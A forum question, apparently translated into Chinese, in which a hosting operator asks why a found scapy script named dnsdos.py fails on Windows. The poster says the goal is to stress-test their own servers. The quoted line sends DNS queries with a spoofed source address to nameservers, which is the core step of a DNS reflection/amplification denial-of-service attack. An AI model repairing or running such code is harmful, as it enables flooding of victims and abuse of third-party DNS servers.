我经营一家小型托管公司。几个月后,越来越多的类似公司似乎受到那些dns反射/放大拒绝服务的打击。我们很幸运,至少现在可以避免这些。但是我想做好准备,所以我找到了一个Python脚本(我知道一点点Python),并想对我的一些服务器进行压力测试。
在我安装了scapy,pypcap和所有其他依赖项后,我收到了错误回溯。
Traceback (most recent call last):
File "C:\Python25\lib\threading.py", line 486, in __bootstr
self.run()
File "dnsdos.py", line 230, in run
send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(
rbose=0)
File "C:\Python25\lib\site-packages\scapy\sendrecv.py", lin
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter,
unt,verbose=verbose, realtime=realtime)
File "C:\Python25\lib\site-packages\scapy\sendrecv.py", lin
s.send(p)
File "C:\Python25\lib\site-packages\scapy\arch\pcapdnet.py"
ifs = dnet.eth(iff)
File "dnet.pyx", line 112, in dnet.eth.__init__
OSError: No error
以下是有问题的代码行:
send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(qname=A_record)), verbose=0)
导致第251行的\ lib \ site-packages \ scapy \ sendrecv.py出错,
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
和第234行
s.send(p)
和第237行的\ lib \ site-packages \ scapy \ arch \ pcapdnet.py
ifs = dnet.eth(iff)
如果需要,我可以在pastebin或其他地方上传这3个文件的全部代码。 我试着找出问题所在,但我无法弄明白。我的想法是,争论可能会被错误地传递出来。不能说太多,因为我做的套接字编码比这更简单。
操作系统:Windows 7 x64
Python 2.5